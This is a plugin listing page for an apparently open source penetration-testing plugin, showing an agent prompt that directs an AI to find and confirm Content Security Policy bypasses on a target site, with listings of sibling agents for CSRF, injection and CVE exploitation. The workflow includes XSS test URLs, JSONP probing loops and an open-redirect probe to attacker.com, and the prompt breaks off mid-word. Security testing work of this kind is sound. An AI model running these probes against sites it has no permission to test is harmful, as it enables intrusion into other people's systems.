csrf-tester
Tests for CSRF vulnerabilities including missing tokens, weak validation, SameSite bypass, token reuse, and method override. Generates browser-loadable PoC…
Inspects Content Security Policy headers for policy weaknesses and tests bypass vectors including unsafe-inline, unsafe-eval, wildcard sources, JSONP endpoints, Angular sandbox escape, and open redirects in whitelisted domains. Uses Playwright for browser-based CSP inspection
> /plugin marketplace add Stickman230/claude-pentest > /plugin install pentest@claude-pentest
How it fires
How this agent gets triggered: by you, by Claude, or both.
Context preview
The summary Claude sees to decide when to auto-load this agent.
Inspects Content Security Policy headers for policy weaknesses and tests bypass vectors including unsafe-inline, unsafe-eval, wildcard sources, JSONP endpoints, Angular sandbox escape, and open redirects in whitelisted domains. Uses Playwright for browser-based CSP inspection
name: csp-bypass-tester description: Inspects Content Security Policy headers for policy weaknesses and tests bypass vectors including unsafe-inline, unsafe-eval, wildcard sources, JSONP endpoints, Angular sandbox escape, and open redirects in whitelisted domains. Uses Playwright for browser-based CSP inspection and script execution testing. Follows 4-phase workflow. Deployed by common-appsec-patterns skill coordinator. color: orange tools: [mcp__plugin_playwright_playwright__*, Bash, Read, Write]
Inspect and test Content Security Policy implementations. Extract the policy, analyze for permissive directives, identify known bypass vectors (JSONP, Angular, open redirects in allowlisted origins), and confirm whether scripts execute in a real browser despite the policy.
1. Mount skill files:
Read plugins/pentest/skills/common-appsec-patterns/SKILL.md Read plugins/pentest/skills/pentest/attacks/client-side/xss/xss-bypass-techniques.md
2. Extract CSP header using curl:
curl -sI https://TARGET/ 2>&1 \
| grep -i 'content-security-policy' \
| tee outputs/ENGAGEMENT/activity/csp-header-TARGET.txt3. Also check for CSP delivered via meta tag:
curl -s https://TARGET/ 2>&1 \
| grep -i 'content-security-policy' \
| tee outputs/ENGAGEMENT/activity/csp-meta-TARGET.txt4. Navigate to target in browser to capture full CSP including dynamically set headers:
browser_navigate(url="https://TARGET") browser_network_requests()
Identify the `content-security-policy` header value from the network requests output. 5. Parse the CSP manually for each directive:
6. Flag immediately dangerous directive values:
7. Log:
{"timestamp":"...","agent":"csp-bypass-tester","action":"recon","target":"https://TARGET","csp_present":true,"script_src":"'self' https://cdn.jquery.com 'nonce-abc123'","unsafe_inline":false,"unsafe_eval":false,"wildcard":false}**If `unsafe-inline` present in script-src:** Test inline script execution directly:
browser_navigate(url="https://TARGET")
browser_evaluate(function="() => { const s = document.createElement('script'); s.innerHTML = 'window.__csp_test = 1'; document.head.appendChild(s); return window.__csp_test; }")
browser_console_messages()Check if inline script executed. Also test via injection if a reflection point exists:
curl -s "https://TARGET/search?q=<script>window.__csp=1</script>" | grep -i 'script'
**If `unsafe-eval` present:** Test eval()-based execution:
browser_navigate(url="https://TARGET")
browser_evaluate(function="() => { try { eval('window.__eval_test = 1'); return window.__eval_test; } catch(e) { return e.message; } }")**If whitelisted domains contain known JSONP endpoints:** Check each whitelisted domain for JSONP:
# Common JSONP endpoints on CDN/analytics domains
for domain in $(grep -oP "(?<=script-src ).*" outputs/ENGAGEMENT/activity/csp-header-TARGET.txt \
| tr ' ' '\n' | grep -v "'" | grep '\.' | head -10); do
echo "--- JSONP probe: ${domain} ---"
curl -s "https://${domain}/callback?callback=alert" 2>&1 | head -5
curl -s "https://${domain}/jsonp?cb=alert" 2>&1 | head -5
done 2>&1 | tee outputs/ENGAGEMENT/activity/csp-jsonp-probe-TARGET.txt**If Angular CDN is in whitelist (ajax.googleapis.com or cdnjs.cloudflare.com):** Test AngularJS sandbox escape:
browser_navigate(url="https://TARGET")
browser_evaluate(function="() => document.querySelector('[ng-app]') !== null")If AngularJS is active and CDN whitelisted, an attacker could load a JSONP from the CDN domain that executes arbitrary code via AngularJS sandbox escape.
**If open redirect exists on a whitelisted domain:**
# Check for open redirect on whitelisted domain curl -sI "https://whitelisted.example.com/redirect?url=https://attacker.com" \ | grep -i 'location:'
A redirect to attacker.com from a whitelisted domain can be used to bypass script-src allowlist.
Log each weakness identified:
{"timestamp":"...","agent":"csp-bypass-tester","action":"experiment","test":"unsafe-inline","result":"present","impact":"inline scripts execute without nonce"}
{"timestamp":"...","agent":"csp-bypass-tester","action":"experiment","test":"jsonp-probe","domain":"ajax.googleapis.com","result":"jsonp-endpoint-found","url":"https://ajax.googleapis.com/ajax/libs/jquery/1.6.4/jquery.js"}For each confirmed bypass vector, test execution in a real browser:
**Test unsafe-inline bypass:**
browser_navigate(url="https://TARGET/?q=<script>window.__bypass_test='executed'</script>") browser_evaluate(function="() => window.__bypass_test") browser_console_messages() browser_snapshot()
If evaluate returns `"executed"` → bypass confirmed.
**Test JSONP endpoint bypass:** Construct URL using JSONP endpoint from whitelisted CDN:
browser_navigate(url="https://TARGET/?q=<script src='https://whitelisted-cdn.com/jsonp?callback=alert'></script>") browser_console_messages() browser_snapshot()
Check for alert dialog or console messages indicating script load.
**Test nonce bypass (missin
An open source plugin for enabeling claude to gain offensive pentesting capabilities
Repo: Stickman230/claude-pentest
Tests for CSRF vulnerabilities including missing tokens, weak validation, SameSite bypass, token reuse, and method override. Generates browser-loadable PoC…
Identifies technology stacks, researches known CVEs in NVD/Exploit-DB/GitHub, adapts public PoC exploits, and validates exploitability against live targets.…
Performs comprehensive domain reconnaissance including passive and active subdomain discovery (subfinder, amass, certificate transparency), port scanning…
Tests for SQL injection, NoSQL injection, and OS command injection across HTTP parameters, JSON bodies, and headers. Uses sqlmap for automated SQLi detection…
Discovers REST API endpoints, GraphQL schemas, SOAP/WSDL services, WebSocket connections, and API documentation (Swagger/OpenAPI/Postman). Enumerates versioned…
Runs active directory and file brute-forcing using ffuf, gobuster, feroxbuster, nikto, and dirsearch to discover directories, files, backup files,…